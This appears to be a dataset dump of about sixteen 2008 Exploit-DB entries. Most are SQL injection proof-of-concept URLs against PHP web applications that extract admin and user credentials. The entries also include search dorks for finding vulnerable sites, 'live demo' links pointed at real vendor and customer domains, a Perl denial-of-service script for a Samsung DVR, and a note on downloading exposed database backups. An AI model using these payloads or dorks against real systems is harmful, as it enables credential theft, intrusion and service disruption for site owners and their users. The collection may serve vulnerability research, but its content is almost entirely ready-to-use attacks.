QLWD/code_shield huggingface dataset:
标题: Alstrasoft Forum - 'cat' SQL Injection EDB-ID: 6396 CVE: 2008-3954 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-07 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# 
#  ---  QKrun1x  - skillfaker - FeDeReR - Optyx - Nuclear  
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l and P47r1ck 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com, p47r1ckro[at]gmail[dot]com
# 
# Share the c0de! 
# 
################################################################ 
# 
# Exploit: Altrasoft Forum (cat) Remote SQL Injection Vulnerability
#
#
# App Name:  AlstraSoft Forum 
# 
# App Home: http://www.alstrasoft.com/
# 
# Dork: inurl:index.php?menu=showcat=
# Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange
# 
# 
# 
# 
# 
# POC: For Admin id and pass
#      index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- 
# 
# P0C-2: For Users id and pass
#       index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+2,1--
# 
# Live Demo: (For admin)
# 
# http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin--
#  
# Live Demo: (For Users)
#  http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1--
#
#
# Admin panel is at http://site.com/admin 
################################################################ 
# Vuln Discovered 7th Sep 2008 

# milw0rm.com [2008-09-07] URL: https://www.exploit-db.com/exploits/6396
标题: Hot Links SQL-PHP 3 - 'report.php' Multiple Vulnerabilities EDB-ID: 6403 CVE: 2008-4379 2008-4378 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: ###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Hot Links SQL-PHP 3 (report.php) Multiple Vulnerabilities
# Vendor: http://www.mrcgiguy.com
# Vulnerable Version: 3 and prior versions
# Fix: N/A
# 
###########################################################
# 
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "Powered By: Hot Links SQL-PHP 3"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     Hot Links was the initial script developed by Mr CGI Guy back in 2001 as a simple way to manage outgoing links. It intially was introduced as Hot Links Lite and was distributed for free.

######################
  2. Vulnerabilities
######################
     SQL Injection in "report.php" in the "id" parameter.
     Cross Site Scripting in "report.php" in the "id" parameter.

######################
  3. PoC
######################
     http://localhost/path/report.php?id=-1/**/union/**/select/**/version(),2,3--
     http://localhost/path/report.php?id=[XSS]

###########################################################

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6403
标题: AvailScript Article Script - 'articles.php' Multiple Vulnerabilities EDB-ID: 6409 CVE: 2008-4372 2008-4371 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-09 漏洞利用脚本: ###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Availscript Article Script (articles.php) Multiple Vulnerabilities
# Vendor: http://www.availscript.com/
# Vulnerable Version: N/A
# Fix: N/A
# 
###########################################################
# 
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "assh0le"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     Article Script allows you to publish your own articles or from the publishers or authors. Aministrator can go to admin page to edit, delete or manage articles, authors and categories. and the member can post articles as an author or just can read the articles.

######################
  2. Vulnerabilities
######################
     SQL Injection in "articles.php" in the "aIDS" parameter.
     Cross Site Scripting in "articles.php" in the "aIDS" parameter.

######################
  3. PoC
######################
     http://localhost/path/articles.php?aIDS=-1+union+select+1,2,user()--
     http://localhost/path/articles.php?aIDS=[XSS]

###########################################################

# milw0rm.com [2008-09-09] URL: https://www.exploit-db.com/exploits/6409
标题: E-Shop Shopping Cart Script - 'search_results.php' SQL Injection EDB-ID: 6398 CVE: 2008-5838 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-07 漏洞利用脚本: ephpscripts SQL Injection
Bug Founded By Mormoroth
This Portal Isnt Free
Sp TNX to : imm02rtal-Magicboy-Yashi Lashi-DJ7xpl-R$p And Others
www.mormoroth.net
www.shabgard.org
dork : Powered by ephpscripts
Exploit : Site.com/path/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6--
exp:http://www.ephpscripts.com/demo/eshop/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6--
Persian Gulf Forever
Iraninan xxxers :D

# milw0rm.com [2008-09-07] URL: https://www.exploit-db.com/exploits/6398
标题: Samsung DVR SHR2040 - HTTPd Remote Denial of Service Denial of Service (PoC) EDB-ID: 6394 CVE: 2008-4380 类型: DOS 平台: HARDWARE 发布日期: 2008-09-07 漏洞利用脚本: #!/usr/bin/perl -w
#
# Samsung DVR SHR2040 HTTPD Remote Denial of Service DoS PoC
#
# The vulnerability is caused due to an unspecified error in the cgis
# files filter used for configure propierties. This can be exploited by
# sending a specially crafted HTTP request (NO necessary authentication), 
# which will cause the HTTP service on the system to crash.
#
# Requisites: Test default ports:
#
# PORT STATE SERVICE
# 554/tcp open rtsp
# 557/tcp open openvms-sysipc
#
# The vulnerability has been reported in versions Samsung DVR
#
# Firmware Version B3.03E-K1.53-V2.19_0705281908, Model = SHR2040
#
# More information:  http://www.samsung.com
#   http://www.sybsecurity.com
#
# Very special credits: str0ke, Kf, rathaous, !dsr, 0dd.
#
# and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55,
# pikah, codebreak, h3llfyr3, canit0.
#
# Alex Hernandez ahernandez [at] sybsecurity dot com
#

use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $string =  "/x";    # Strings to send
my $method =  'GET';    # Method "GET" or "POST"
my $uri =  'http://10.50.10.248:557'; # IP address:port (change this)
my $content =  "/test.html";   # Paths to crash

#my $content =  "/first.htm";
#my $content =  "/content_frame.htm?cgiName=";
#my $content =  "/index_menu.htm?lang=en&topMenu=";

my $headers = HTTP::Headers->new(

'Accept:'               => '*/*',
'Referer:'        => 'http://$1$9hC8DmrL$8NG8i3pQXBabAKo.AIm8U.:12345@10.50.10.248:557',
'Accept-Language:'      => 'en-us,en;q=0.5',
'UA-CPU:'           => 'x86',
'Accept-Encoding:'      => 'gzip, deflate',
'User-Agent:'    => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Host:'           => '10.50.10.248:557',
'Connection'           => 'keep-alive',
'Authorization:' => 'Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==', # base64 encode ADMIN:12345

);

my $request = HTTP::Request->new($method, $uri, $headers, $content, $string);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
print "[+] Coded by: Alex Hernandez [ahernandez\@sybsecurity.com]\n";
print "[+] We got this response from DVR: \n\n" . $response->content . "\n";

my $data;
 foreach my $pair (split('&', $response->content)) {
   my ($k, $v) = split('=', $pair);
  $data->{$k} = $v;
}

if ($data->{RESULT} != 0) {

 print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
 print "[+] Coded by: Alex Hernandez[ahernandez\@sybsecurity.com]\n";
 print "[+] Use:\n";
 print "\tperl -x dos_dvrsamsung.pl\n";
  print $data->{RESPMSG} . "\n";
 exit(0);

} else {

  print "[+] Denial of service Exploit successed!!!\n";
 print "[+] By Alex Hernandez[ahernandez\@sybsecurity.com]\n";

}

# milw0rm.com [2008-09-07] URL: https://www.exploit-db.com/exploits/6394
标题: Integramod 1.4.x - Insecure Directory Download Database EDB-ID: 6390 CVE: 2008-4183 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-06 漏洞利用脚本: today i found some major security problem. the issue can be found at all integramod 1.4.x versions.
explanation of the issue:

all integramod versions do have a backup folder where the daily database backups are stored. the coders 
of integramod forgott to secure this folder.

example:
just head to the official page of integramod www.integramod.com. you are being redirected 
to http://www.integramod.com/forum/ . now just head into the backup folder: http://www.integramod.com/forum/backup.
As you can see you have full access to all database backups!
-> www.pagename/installpath/backup/ directly leads to the database backups!
notice: some versions do have a index.html in the folder but it is easy to get the backups any way 
bacause they are alway stored in the dame format:
backup-yyyy-dd-mm.sql


greetings from germany

TheJT 

# milw0rm.com [2008-09-06] URL: https://www.exploit-db.com/exploits/6390
标题: Vastal I-Tech Cosmetics Zone - 'cat_id' SQL Injection EDB-ID: 6382 CVE: 2008-4466 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
#  Vastal I-Tech Cosmetics Zone  SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/cosmetics-zone-a-shopping-cart-for-your-cosmetics-shop-online.html
#
# Demo      : http://www.vastal.com/cosmetics_zone/
#######################################################

Exploit:
http://site.il/view_products_cat.php?cat_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
Live Demo
http://www.vastal.com/cosmetics_zone/view_products_cat.php?cat_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
##############################################################################################################

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6382
标题: Vastal I-Tech Dating Zone - 'fage' SQL Injection EDB-ID: 6388 CVE: 2008-4461 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-06 漏洞利用脚本: ########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

Vastal I-Tech Dating Zone (fage) SQL Injection Vulnerability

 author: ZoRLu 

   home: yildirimordulari.org - - - z0rlu.blogspot.com - - - r00tsecurity.org

contact: trt-turk@hotmail.com & ZoRLu@w.cn ( baska msn yok taklitlerden kacInIn )

    Not: msn i ekleyipte densiz densiz konusanIn sulalesini cumle alem .... : ( (
   
    Not: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA   : ( (

   dork: "advanced_search_results.php?gender="

########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

http://localhost/datingzone_path/advanced_search_results.php?gender=Female&fage=18+union+select+0,1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+users--&tage=20&country%5B%5D=India&community=&photograph=Yes&x=58&y=15

demo:

http://datingzone.vastal.com/advanced_search_results.php?gender=Female&fage=18+union+select+0,1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+users--&tage=20&country%5B%5D=India&community=&photograph=Yes&x=58&y=15


########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

thanx: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs

Efsane: YILDIRIMORDULARI.ORG

Yemisim Alaskasini : ) ) insan1n kendi memleketi gibisi yokk : ) )

########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

# milw0rm.com [2008-09-06] URL: https://www.exploit-db.com/exploits/6388
标题: Vastal I-Tech MMORPG Zone - 'game_id' SQL Injection EDB-ID: 6379 CVE: 2008-4460 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
#  Vastal I-Tech MMORPG Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/mmorpg-zone-sell-mmorpg-online.html
#
# Demo      : http://www.vastal.com/games/
#######################################################
the exploit fate the password
use ur mind for have the column username
Exploit:
http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),3,4,5,6/**/members/*
http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,22222,3,4,5,6/*
 
Live Demo

http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),3,4,5,6/**/members/*
http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,22222,3,4,5,6/*

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6379
标题: Vastal I-Tech Mag Zone - 'cat_id' SQL Injection EDB-ID: 6380 CVE: 2008-4464 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
#  Vastal I-Tech Mag Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/mag-zone-online-library-system.html
#
# Demo      : http://www.vastal.com/mag/
#######################################################
the exploit fate the password
use ur mind for have the column username
Exploit:
http://site.il/view_mags.php?cat_id=-1/**/UNION/**/SELECT/**/concat(0x3a,password,0x3a)/**/FROM/**/members/*
Live Demo
http://www.vastal.com/mag/view_mags.php?cat_id=-1/**/UNION/**/SELECT/**/concat(0x3a,password,0x3a)/**/FROM/**/members/*

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6380
标题: Vastal I-Tech Freelance Zone - 'coder_id' SQL Injection EDB-ID: 6381 CVE: 2008-4469 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
#  Vastal I-Tech Freelance Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/freelance-zone-freelance-auction-script.html
#
# Demo      : http://www.vastal.com/freelance/
#######################################################
the exploit fate the password
use ur mind for have the column username
Exploit:
http://site.il/view_cresume.php?coder_id=-1/**/UNION/**/SELECT/**/1,2,password,user(),5/**/from/**/members/*
Live Demo
http://www.vastal.com/freelance/view_cresume.php?coder_id=-1/**/UNION/**/SELECT/**/1,2,password,user(),5/**/from/**/members/*

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6381
标题: Vastal I-Tech Shaadi Zone 1.0.9 - 'tage' SQL Injection EDB-ID: 6385 CVE: 2008-3953 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: ####################Vastal I Tech Shaadi Zone 1.0.9 SQL Injection Vulnerability##########

########By:   e.wiZz!
########Site: infected.blogger.ba
########Info: Bosnian Idiot FTW!

########Greetz: str0ke,aluigi,suN8Hclf,0in,Rishi Narang,f34r


In the wild...

##############################################################################

#####Info:  Shaadi Zone is the best solution if you are looking to run a matrimonial services services. We have integrated many features which you can use and take full advantage of the matrimonial services. You can run a site like shaadi or bharatmatrimoniy easily.

#####Vulnerability:

http://www.inthewild.xxx/path/keyword_search_action.php?gender=xxx&martial=&fage=xxx&tage=SQL

####PoC on demo site:

http://www.vastal.com/shaadi_zone_1.0.9/keyword_search_action.php?gender=male&martial=&fage=18&tage=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,concat(username,0x3a,password),50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77 from users/*

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6385
标题: EsFaq 2.0 - 'idcat' SQL Injection EDB-ID: 6383 CVE: 2008-6016 2008-3952 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: |___________________________________________________|
|
| EsFaq Remote Sql Injection Exploit
|
|___________________________________________________
|---------------------SuB-ZeRo----------------------|
|
|    Author: SuB-ZeRo
|
|    Home : www.dz-security.com
|
|    email:  FbH@hotmail.com
|
|
|___________________________________________________
|                                                   |
|
| script :http://editeurscripts.com/ressources/scripts-php/dl.php?idscript=5
|
| DorK   : inurl:questions.php?idcat
|___________________________________________________|
Exploit:
________
 
www.[target].com/Script/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9 FROM admin_users--
 
 

L!VE DEMO:
_________
http://demo.editeurscripts.com/EsFaq/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9 FROM admin_users--

____________
 
____________________________( Greetz )_________________________________
|
|    All members of the Forum  www.dz-security.com and www.no-exploit.com
|
| My friends : HiSoK4| x.CJP.x | bibi-infi | ThE BuTcHeR | charaf
| 
|  and all algeria hackers and all mouslimme
|__________________________ramadan karim all mouslimme____________________________________________

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6383
标题: Vastal I-Tech DVD Zone - 'cat_id' SQL Injection EDB-ID: 6376 CVE: 2008-4465 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
# Vastal I-Tech DVD Zone ( cat_id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $399.99 (:
#
# Script Home Page : hhttp://www.vastal.com/dvd-zone-dvd-rental-script.html
#
# Demo      : http://dvdzone.vastal.com/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_mags.php?cat_id=-21+union+select+concat(user_name,0x3a,password)+from+members
#
# Live Demo:
# http://dvdzone.vastal.com/view_mags.php?cat_id=-21+union+select+concat(user_name,0x3a,password)+from+members
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6376
标题: Vastal I-Tech Share Zone - 'id' SQL Injection EDB-ID: 6375 CVE: 2008-4468 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
# Vastal I-Tech Share Zone ( id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $200.00
#
# Script Home Page : http://www.vastal.com/share-zone-the-file-sharing-software.html
#
# Demo      : http://www.vastal.com/rapid/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_news.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Live Demo:
# http://www.vastal.com/rapid/view_news.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6375
标题: Vastal I-Tech Visa Zone - 'news_id' SQL Injection EDB-ID: 6373 CVE: 2008-4462 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-05 漏洞利用脚本: #######################################################
# Vastal I-Tech Visa Zone ( news_id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $550.00
#
# Script Home Page : http://www.vastal.com/visa-zone-a-specialised-script-made-just-for-law-firm-dealing-in-visa.html
#
# Demo      : http://www.vastal.com/law_firm/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_news.php?news_id=-2+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Live Demo:
# http://www.vastal.com/law_firm/view_news.php?news_id=-2+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05] URL: https://www.exploit-db.com/exploits/6373